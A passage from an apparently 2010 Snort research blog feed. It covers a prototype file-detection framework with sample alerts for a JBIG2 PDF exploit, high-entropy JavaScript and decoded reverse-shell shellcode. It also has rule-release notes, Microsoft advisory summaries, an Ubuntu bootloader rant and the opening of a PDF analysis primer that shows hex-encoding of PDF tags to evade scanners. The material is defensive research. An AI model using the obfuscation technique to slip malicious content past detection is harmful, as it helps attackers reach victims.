20&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;55 52 4C 3A 2F 77 72 6C 2F 66 69 72 73 74 2E 70 URL:/wrl/first.p&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;64 66 20 48 6F 73 74 6E 61 6D 65 3A 77 72 6C 20 df Hostname:wrl&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;41 6C 65 72 74 20 49 6E 66 6F 3A 50 72 6F 62 61 Alert Info:Proba&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;62 6C 65 20 65 78 70 6C 6F 69 74 20 6F 66 20 43 ble exploit of C&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;56 45 2D 32 30 30 39 2D 30 36 35 38 20 28 4A 42 VE-2009-0658 (JB&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;49 47 32 29 20 64 65 74 65 63 74 65 64 20 69 6E IG2) detected in&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;20 6F 62 6A 65 63 74 20 38 2C 20 64 65 63 6C 61  object 8, decla&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;72 65 64 20 61 73 20 2F 4C 65 6E 67 74 68 20 32 red as /Length 2&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;39 2F 46 69 6C 74 65 72 20 5B 2F 46 6C 61 74 65 9/Filter [/Flate&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;44 65 63 6F 64 65 2F 41 53 43 49 49 48 65 78 44 Decode/ASCIIHexD&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;65 63 6F 64 65 2F 4A 42 49 47 32 44 65 63 6F 64 ecode/JBIG2Decod&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: .75em;"&gt;65 20 5D 20 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e ]&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Detection was extremely accurate and specific to the triggering condition of the vulnerability. &amp;nbsp;The PDF parser inflated the JBIG2 stream, handled any encoding and then looked at the specific conditions required to exploit the&amp;nbsp;reader. &amp;nbsp;It fully detects attacks generated by the Metasploit framework. &amp;nbsp;In fact, it was good enough to uncover a bug&amp;nbsp;in the Metasploit JBIG2 module which has now been fixed. &amp;nbsp;By allowing additional detection, above what is done by the&amp;nbsp;Snort engine now, to occur outside of the packet stream, we are able to provide much more data back to the user. &amp;nbsp;Which&amp;nbsp;got us to thinking about Javascript...&lt;br /&gt;&lt;br /&gt;Anyone who has looked at Javascript data associated with exploits knows that there are often long, random names&amp;nbsp;assigned to variables. &amp;nbsp;We decided to check for that by jamming all of the variable names together and then doing an&amp;nbsp;entropy check. &amp;nbsp;If the variable was too random, we'd alert. &amp;nbsp;For example, one attack file, when taking all the&amp;nbsp;JavaScript variables and putting them together, we get:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;EvctenMNtrWDQVBKGrwGxrxKfMiZoYziRxAFEfjMdXRzjGNqVZYEAqogviSvzHpGpCkihcVtXRWcHphvhAnPOXnrxmTXJEUIkcYzelWZUCuIyKArtJvcEQXzUjHEzuSjGEJugOyFQnaSplNWwQsqOoV&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Which in turn, leads the NRT to fire:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[**] [300:2147483653:1] URL:/wrl/first.pdf Hostname:wrl Alert Info:The JavaScript variables in object 6, declared as&amp;nbsp;/Length 5994/Filter [/FlateDecode/ASCIIHexDecode ] , show a high degree of entropy [**]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We were in detection nirvana. &amp;nbsp;Anything we wanted to do, know matter how much processor it took, was available to us. &lt;br /&gt;&lt;br /&gt;While sitting in Dubai on day one of HitB, Lurene came up with an idea of how to analyze unescaped data to find shellcode. &amp;nbsp;The process went like this: &amp;nbsp;Grab the PDF off the wire, inflate the JavaScript object, determine that it is JavaScript, normalize the unescape() calls and pass the data to a custom nugget written by Lurene. &amp;nbsp;This nugget then uses heuristics to discover the encoder type, decodes the shellcode and then returns data about the shellcode found. &amp;nbsp;The result:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[**] [300:3221225482:1] URL:/wrl/first.pdf Hostname:wrl Alert Info:Reverse TCP connectback shellcode detected. Connecting to 10.4.4.10 on port 4444 &amp;nbsp;[**]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This data didn't come from seeing data to port 4444 on host 10.4.4.10, it came from interpreting shellcode that was unescaped in a compressed object in a PDF that we pulled off the wire. &amp;nbsp;OK...so we're excited.&lt;br /&gt;&lt;br /&gt;But this system had to be open and it had to be extensible. &amp;nbsp;It had to be flexible and it had to be verbose in its logging. &amp;nbsp;So here is what we came up with:&lt;br /&gt;&lt;br /&gt;THE DISPATCHER&lt;br /&gt;&lt;br /&gt;This component is the heart of the system. &amp;nbsp;It handles data sources and detection nuggets. It manages a central database of all known good and known bad files and URLs. &amp;nbsp;Additionally, it keeps track of known good and bad sub-components (JS in PDF, for example), so that detection speed is improved and so that we can alert on data subsequently found to be bad. Finally it creates a complete log of detection by writing out not just the original file, but also the normalized versions of the segment of code that creates the alerts.&lt;br /&gt;&lt;br /&gt;THE DATA HANDLER&lt;br /&gt;&lt;br /&gt;We want to be able to provide data into the system from any arbitrary location. &amp;nbsp;Capture a file off the wire with Snort, grab the file via a Milter, pass the file into the system from ClamAV or just hook on-open on a windows system and pass it to the system? &amp;nbsp; All of that should be handled and available through an API.&lt;br /&gt;&lt;br /&gt;THE DETECTION NUGGET&lt;br /&gt;&lt;br /&gt;For any given data handler one or more nuggets should be available. &amp;nbsp;The nuggets should be able to pass data to other nuggets. &amp;nbsp;For example, a PDF nugget that finds embedded JavaScript data should be able to pass just that block into a Javascript system.&lt;br /&gt;&lt;br /&gt;THE VISION&lt;br /&gt;&lt;br /&gt;Snort registers with the Dispatcher as a Data Handler. &amp;nbsp;The Nugget Farm is populated by both a PDF and a JavaScript nugget. &amp;nbsp;Snort grabs the file and sends it to the PDF nugget. &amp;nbsp;The PDF parser finds the JavaScript block and sends it to the JavaScript nugget. &amp;nbsp;When the JavaScript nugget alerts, it sends the normalized data back to the Dispatcher. &amp;nbsp;When the PDF file alerts on the JBIG section it sends the data in the JBIG section as well as the entire file back to the Dispatcher. &amp;nbsp;The dispatcher writes each section and the associated alerts to disk in addition to the full file. &amp;nbsp;Finally it alerts into the Snort system.&lt;br /&gt;&lt;br /&gt;There are more details, such as how we alert back in time (no sonic screwdriver required). &amp;nbsp;But we'll get to that. &amp;nbsp;For now we want to see what you would do if we handled you a pointer and a size. &amp;nbsp;So we've put up some rough (very rough) POC code at http://labs.snort.org. &amp;nbsp;Review the code in src/preprocessor/nrt_* to see what we're up to. &amp;nbsp;Modeling that code you should be able to write your own C code to do detection against files pulled by the system.&lt;br /&gt;&lt;br /&gt;We've got a long way to go, with a ton of research in front of us. &amp;nbsp;There is no time-line for full release, but we're interested in seeing what you come up with. &amp;nbsp;As we create additional documentation and nail down more functionality, we'll continue updating the code. &amp;nbsp;Keep an eye on labs and the VRT blog for updates. &amp;nbsp;In the meantime, go poke around and let us know what you come up with.&lt;br /&gt;&lt;br /&gt;Code &amp;amp; Dubai Presentation available at:&lt;br /&gt;&lt;a href="http://labs.snort.org/nrt/"&gt;http://labs.snort.org/nrt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-9083738259577926201?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://labs.snort.org/nrt' title='A New Detection Framework'/><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/9083738259577926201/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=9083738259577926201' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/9083738259577926201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/9083738259577926201'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/04/new-detection-framework.html' title='A New Detection Framework'/><author><name>Matt Olney</name><uri>http://www.blogger.com/profile/15503080145847585643</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5985608608291341418</id><published>2010-04-15T14:59:00.000-04:00</published><updated>2010-04-15T14:59:40.632-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule release for today, Thursday April 15th, 2010</title><content type='html'>Maintenance release, a few new rules and modifications to existing ones.&lt;br /&gt;&lt;br /&gt;Check &lt;a href="http://www.snort.org/vrt/advisories/2010/04/15/vrt-rules-2010-04-15.html/"&gt;here for details&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5985608608291341418?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5985608608291341418/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5985608608291341418' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5985608608291341418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5985608608291341418'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/04/rule-release-for-today-thursday-april_15.html' title='Rule release for today, Thursday April 15th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-1599883406293504143</id><published>2010-04-13T16:52:00.002-04:00</published><updated>2010-04-13T16:52:37.675-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vulnerability Report'/><title type='text'>April 2010 Vulnerability Report</title><content type='html'>&lt;object width="640" height="360"&gt;&lt;param name="allowfullscreen" value="true" /&gt;&lt;param name="allowscriptaccess" value="always" /&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=10907029&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=0&amp;amp;show_portrait=0&amp;amp;color=ffffff&amp;amp;fullscreen=1" /&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=10907029&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=0&amp;amp;show_portrait=0&amp;amp;color=ffffff&amp;amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="640" height="360"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-1599883406293504143?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/1599883406293504143/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=1599883406293504143' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1599883406293504143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1599883406293504143'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/04/april-2010-vulnerability-report.html' title='April 2010 Vulnerability Report'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-212026913927196761</id><published>2010-04-13T16:23:00.000-04:00</published><updated>2010-04-13T16:23:57.138-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><category scheme='http://www.blogger.com/atom/ns#' term='Adobe'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>Rule release for today, Tuesday April 13th, 2010</title><content type='html'>Microsoft Tuesday and Adobe Quarterly Patch. Details available &lt;a href="http://www.snort.org/vrt/advisories/2010/04/13/vrt-rules-2010-04-13.html/"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory (MS10-019):&lt;br /&gt;The Microsoft CAB Subject Interface Package (SIP) implementation contains a programming error that may allow a remote attacker to bypass the authentication mechanism.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory (MS10-020):&lt;br /&gt;The Microsoft implementation of the SMB protocol contains programming errors that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory (MS10-023):&lt;br /&gt;Microsoft Publisher contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory (MS10-024):&lt;br /&gt;The Microsoft SMTP service is prone to a Denial of Service condition that may be triggered by a remote attacker.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory (MS10-025):&lt;br /&gt;The Microsoft Windows Media Service suffers from a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory (MS10-026):&lt;br /&gt;Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory (MS10-027):&lt;br /&gt;Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system via an ActiveX control.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory (MS10-028):&lt;br /&gt;Microsoft Visio suffers from programming errors that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory (MS10-029):&lt;br /&gt;The Microsoft implementation of IPv6 contains a programming error that may allow a remote attacker to spoof connections to an affected host.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-212026913927196761?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/212026913927196761/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=212026913927196761' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/212026913927196761'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/212026913927196761'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/04/rule-release-for-today-tuesday-april.html' title='Rule release for today, Tuesday April 13th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-6324551638393116397</id><published>2010-04-08T17:47:00.000-04:00</published><updated>2010-04-08T17:47:24.984-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule release for today, Thursday April 8th, 2010</title><content type='html'>Mostly some small fixes, couple of reference changes and some new rules.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.snort.org/vrt/advisories/2010/04/08/vrt-rules-2010-04-08.html/"&gt;Check it out here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-6324551638393116397?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/6324551638393116397/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=6324551638393116397' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6324551638393116397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6324551638393116397'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/04/rule-release-for-today-thursday-april.html' title='Rule release for today, Thursday April 8th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-4832438027557907434</id><published>2010-04-07T20:11:00.000-04:00</published><updated>2010-04-07T20:11:23.741-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>WTF, Ubuntu?</title><content type='html'>I just finished installing Ubuntu 9.10 server edition on a shiny new Dell PowerEdge R805 box, as part of expanding our malware analysis labs. No big deal - half an hour of babysitting an installer, right?&lt;br /&gt;&lt;br /&gt;Wrong. &lt;br /&gt;&lt;br /&gt;It took me 5 hours, thanks to some really stupid decisions made by the Ubunutu team surrounding perhaps the most vital part of the installation process: the bootloader.&lt;br /&gt;&lt;br /&gt;The actual install itself was nice and easy, just like I've come to expect out of the Ubuntu folks: sane defaults, good explanations when I had to make a relevant choice, and generally minimal requirements for interactivity. Anybody with even the most basic computer experience could fumble their way through it. After finishing, I took my CD out, rebooted...and suddenly found myself at a Busybox shell with a note about GRUB being unable to find the root filesystem.&lt;br /&gt;&lt;br /&gt;I figured I'd done something really retarded, because in all of the years I've been installing *NIX operating systems, I've only had one other bootloader failure - an OpenBSD "Bad Magic" issue when I was swapping out hard drives that made immediate sense once I did two seconds worth of Googling, and that yielded a &lt;a href=http://www.schnarff.com/bad-magic-black-cat.jpe&gt;fun little picture&lt;/a&gt; in the process. So I sat down, thought for a second, and then realized I'd installed the 32-bit version of Ubunutu on a box with 8GB of RAM and a terabyte worth of hard drive - which sure seemed like a good reason for the OS to not be seeing the drive properly.&lt;br /&gt;&lt;br /&gt;So I headed back to my desk, burned a copy of the 64-bit version, reinstalled, and got...the exact same Busybox shell. Damnit!&lt;br /&gt;&lt;br /&gt;A quick bit of Googling seemed to suggest that there were issues with GRUB recognizing really big disks. Since I'd just used the whole drive with Ubuntu's guided LVM setup, I figured that either my /boot partition was way off past the end of where GRUB could read, or that my / partition was just too big for it to handle. That's what I get for being lazy, I figured, and headed back into installer land, this time manually partitioning things so that /boot was at the very start of the drive, / was 50GB, and /var took up the rest of the space. Another 30-minute installation later, I rebooted, figuring I'd be all set.&lt;br /&gt;&lt;br /&gt;Not so much.&lt;br /&gt;&lt;br /&gt;Confused, I followed the suggestion at the Busybox shell and did a "cat /proc/modules". Sure enough, mptbase, mptsas, and scsi_transport_sas were all loaded - exactly the modules I needed to be able to see this SAS/MPT BIOS controller. /dev/sda* existed, and inspecting /boot/grub/grub.cfg (side note: Linux people, can we *please* agree on one frikkin' extension for config files?) showed that my root device was set properly. What the hell?&lt;br /&gt;&lt;br /&gt;Getting desperate, I spent some substantial time scouring the web for answers. It seems that a number of people have had problems installing various versions of Ubuntu on the R805 boxes - but in classic Linux style, any time someone popped onto a forum or a mailing list asking how to fix boot issues with this hardware, the thread ended with some variant of "Hey, I figured it out! Thanks guys!", and NO GODDAMNED DESCRIPTION OF HOW THEY FIXED THE PROBLEM. Seriously, people, it takes like two minutes to explain the fix, and it will save countless people countless hours of pain if you just make sure your solution is archived somewhere on the web.&lt;br /&gt;&lt;br /&gt;After trying a whole host of possible fixes - setting the SAS controller to be visible to "BIOS only" instead of "BIOS &amp; OS", telling the CD installer to boot off the first hard drive, etc. - I ran across this little &lt;a href=http://stoilis.wordpress.com/2009/11/20/error-on-first-boot-after-installing-ubuntu-on-a-dell-r410/&gt;nugget of wisdom&lt;/a&gt;, which suggested that I set my "rootdelay" value to 35 to give the SAS adapter time to initialize. &lt;br /&gt;&lt;br /&gt;Aha! That made perfect sense, I figured. After all, this entire process had been further aggravated by the 30 seconds or so it takes the Dell SAS controller to initialize on each boot (seriously, people, how does it take a hard disk controller 30 f'ing seconds to initialize on a machine with 8 2.5GHz cores?); why wouldn't it want to waste another 30 seconds of my life re-initializing after the operating system loaded? &lt;br /&gt;&lt;br /&gt;Optimistic about my prospects for success, I rebooted yet again, held down shift like the article suggested...and got no GRUB menu. I tried again with "e" (which I vaguely remembered using on some other bootloader in years gone by), and again with "Esc". The third time being a charm, I decided to brute-force the issue, popped the installer disc back in the drive, and chose "Rescue Broken System" from the menu.&lt;br /&gt;&lt;br /&gt;This is where I started to realize how broken Ubuntu's installation has become.&lt;br /&gt;&lt;br /&gt;At first, I thought I'd accidentally chosen "Install Ubuntu" from the menu, because the system proceeded along all of the same steps as a regular install. It even went to the trouble of finding my network hardware, having me choose an interface to do DHCP on, and set a hostname. Seriously, guys, I promise I don't need a fully functional network just to go touch my bootloader, repair a broken partition, or, you know, do anything else that would require me to use a CD to boot. You're just wasting my time.&lt;br /&gt;&lt;br /&gt;Once I finally got my shell and headed on over to edit /boot/grub/grub.cfg, I realized the reason I could't get into the GRUB menu: the default timeout value had been set to "-1", i.e. "don't wait at all". Gee, guys, that makes so much sense - because, you know, no one will ever need to edit their GRUB config on the fly! That, and setting a delay of 1 second would just be too much hassle for people trying to boot up nice and fast on their shiny new servers with the 90-second delay to get into the bootloader.&lt;br /&gt;&lt;br /&gt;With the delay fixed and GRUB reinstalled, I booted up again, and this time actually got to the GRUB menu. Much to my horror, the banner on the top read:&lt;br /&gt;&lt;br /&gt;"GRUB version 1.97~beta4"&lt;br /&gt;&lt;br /&gt;Really, Ubuntu? Seriously? You're going to put a beta version of a &lt;b&gt;bootloader&lt;/b&gt; on the production release of a server operating system? What cutting-edge boot-loading feature could you possibly need that you couldn't use a release version of GRUB?&lt;br /&gt;&lt;br /&gt;Cursing the Ubuntu developers under my breath, I added the rootdelay value, hit Ctrl-x to boot, waited...and had a fully operational operating system in under a minute! Hallelujah!&lt;br /&gt;&lt;br /&gt;Convinced that I was done, I added the rootdelay value to /boot/grub/grub.cfg, ran "update-grub" as root to make the changes permanent, and rebooted one last time, just to be sure. It's a good thing I did, too, because &lt;b&gt;MY CHANGES WEREN'T SAVED&lt;/b&gt;, and I ended right back up at my Busybox shell. I had to go in through the rescue option on the installer CD, make my changes there, and update GRUB from my CD just to get the changes to stick.&lt;br /&gt;&lt;br /&gt;With all of the effort the Ubuntu people put into making their installation simple, you'd think they could have gone to the trouble of setting the "rootdelay" variable to a higher value when they saw a SAS card that they probably know takes forever to initialize. Really, would that be so hard, guys?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-4832438027557907434?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/4832438027557907434/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=4832438027557907434' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4832438027557907434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4832438027557907434'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/04/wtf-ubuntu.html' title='WTF, Ubuntu?'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-3940338024054608214</id><published>2010-04-05T15:00:00.006-04:00</published><updated>2010-04-05T15:00:02.252-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Adobe'/><title type='text'>Matt's Primer for PDF Analysis</title><content type='html'>For obvious reasons, the VRT has been spending a lot of time on the PDF format lately.  While the attack researchers have been concentrating on fuzzing, reverse engineering and data flow analysis, the defense researchers have been automating the backend analysis of PDF submissions.  As part of this effort, we've had to do a very deep dive on the PDF format.  I thought it might be useful to share some of what we're seeing come in our data feeds, and what you should look for when reviewing PDF files.&lt;br /&gt;&lt;br /&gt;So let's start with the first structure you have to understand, the obj structure.  For the moment, most everything you really are going to worry about occurs in association with either the obj tags or Javascript.  Here is the obj tag format:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;[objnum] [genid] obj (value) endobj&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Obj tags declare what sort of data is in this section of the file.  They should be pretty straight forward:&lt;br /&gt;&lt;pre&gt;4 0 obj.&amp;lt;&amp;lt; /Length 5 0 R /Filter /FlateDecode &amp;gt;&amp;gt; stream (Ton of data...) endstream endobj 5 0 obj 185 endobj&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The first object above is object number 4 with a genid of 0.  Note that the combination of the object number and gen id are a unique identifier within the PDF spec.  While I haven't seen an example with multiple objnums and genids, I wouldn't put it past someone to give it a shot.  Inside the &amp;lt;&amp;lt; &amp;gt;&amp;gt; is a definition of what it is that this object holds.  The object in question is FlateDecoded stream.  It also has a relative reference that you have to understand.  The “/Length” field declares the length of the stream data.  In this case, that value is contained in object number 5.  We know this because of the “ R” structure immediately following the “/Length” tag.&lt;br /&gt;&lt;br /&gt;This seems simple, but Adobe has to support extended characters for the various languages around the world.  To support this, they provided the option to ASCII hex encode fields within the PDF document.  This is done by placing the ASCII hexadecimal value for the character you are representing immediately after a “#” character.   So the letter “A” can be represented as #41.&lt;br /&gt;&lt;br /&gt;So attackers use this feature to obscure the feature calls so you can’t look specifically object tags like JBIG2 or JavaScript tags.  So  the following object string:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;/Type/Action/S/JavaScript/JS 6 0 R &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Could be represented as:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;/Typ#65/#41#63t#69#6fn/S/#4a#61#76a#53cript/J#53&amp;nbsp;6 0 R&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;You can use Didier Stevens’ pdf-parser.py script to deobfuscated object tags with ASCII hex encoding. So the file we’re looking at has the following deobfuscated lines:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;(obj 1) /Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R&lt;br /&gt;(obj 2) /Type/Outlines/Count 0&lt;br /&gt;(obj 3)/Type/Pages/Kids[4 0 R]/Count 1&lt;br /&gt;(obj 4) /Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]&lt;br /&gt;(obj 5) /Type/Action/S/JavaScript/JS 6 0 R&lt;br /&gt;(obj 6) /Length 2008/Filter[/FlateDecode/ASCIIHexDecode]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Besides the obfuscation, the 